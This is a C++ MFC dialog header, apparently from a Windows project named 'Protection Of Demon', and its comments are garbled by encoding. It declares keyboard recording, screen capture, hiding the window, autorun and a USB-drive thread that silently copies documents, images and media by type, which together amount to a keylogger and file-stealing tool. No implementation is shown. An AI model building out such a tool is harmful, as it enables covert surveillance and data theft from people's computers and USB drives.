ProtectOfDemon/源代码/Protection Of DemonDlg.h

85 lines
2.4 KiB
C
Raw Normal View History

2022-04-14 14:05:43 +00:00
// Protection Of DemonDlg.h : ͷ<>ļ<EFBFBD>
//
#pragma once
#include "afxcmn.h"
#include "Winuser.h"
typedef struct MYSTRUCT
{
LPVOID lpThis;
char szDriver[4];
char szSavePath[MAX_PATH];
};
// CProtectionOfDemonDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
class CProtectionOfDemonDlg : public CDialogEx
{
private:
int m_iState;
char m_szPrivateFilePath[MAX_PATH];
char m_szKeyboardPath[MAX_PATH];
char m_szScreenCapturePath[MAX_PATH];
char m_szCopyFilePath[MAX_PATH];
DWORD m_dwCountTime;
int iState[8];
BOOL m_bHidden;
RECT m_rcOldRect;
private:
BOOL GetPropertyFromPrivateFile(char *lpszPrivateFilePath);
BOOL GetCurrentFile(char *lpszSrc, char *lpszDest);
BOOL SaveScreenCapture(char *lpszSavePath);
public:
BOOL OnDeviceChange(UINT nEventType, DWORD dwData);
LRESULT OnHotKey(WPARAM wParam,LPARAM lParam);
static UINT UDiskCopyThread(LPVOID lpVoid);
void SearchAndCopyFile(char *strSrc, char *strDest);
void GetFormat(char *strSrc, char *strDest);
// <20><><EFBFBD><EFBFBD>
public:
CProtectionOfDemonDlg(CWnd* pParent = NULL); // <20><>׼<EFBFBD><D7BC><EFBFBD><EFBFBD><ECBAAF>
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
enum { IDD = IDD_PROTECTIONOFDEMON_DIALOG };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
// ʵ<><CAB5>
protected:
HICON m_hIcon;
// <20><><EFBFBD>ɵ<EFBFBD><C9B5><EFBFBD>Ϣӳ<CFA2><EFBFBD><E4BAAF>
virtual BOOL OnInitDialog();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
afx_msg void OnPaint();
afx_msg HCURSOR OnQueryDragIcon();
DECLARE_MESSAGE_MAP()
public:
afx_msg void OnFileExit();
afx_msg void OnHelpAbout();
CSliderCtrl m_Time;
afx_msg void OnBnClickedCheckKeyboardRecord();
virtual LRESULT WindowProc(UINT message, WPARAM wParam, LPARAM lParam);
afx_msg void OnBnClickedButtonKeyboardRecordSavePath();
// afx_msg void OnNMCustomdrawSliderTime(NMHDR *pNMHDR, LRESULT *pResult);
afx_msg void OnReleasedcaptureSliderTime(NMHDR *pNMHDR, LRESULT *pResult);
afx_msg void OnBnClickedButtonImageRecordSavePath();
afx_msg void OnBnClickedCheckAutorun();
afx_msg void OnBnClickedButtonShutdownTimer();
afx_msg void OnBnClickedButtonFileRecordSavePath();
afx_msg void OnBnClickedCheckCopyFileAllFiles();
afx_msg void OnBnClickedCheckCopyFileExe();
afx_msg void OnBnClickedCheckCopyFileJpgPngBmp();
afx_msg void OnBnClickedCheckCopyFileDocDocx();
afx_msg void OnBnClickedCheckCopyFileXlsXlsx();
afx_msg void OnBnClickedCheckCopyFilePptPptx();
afx_msg void OnBnClickedCheckCopyFileMp3Wav();
afx_msg void OnBnClickedCheckCopyFileMp4AviRmvbMkv();
};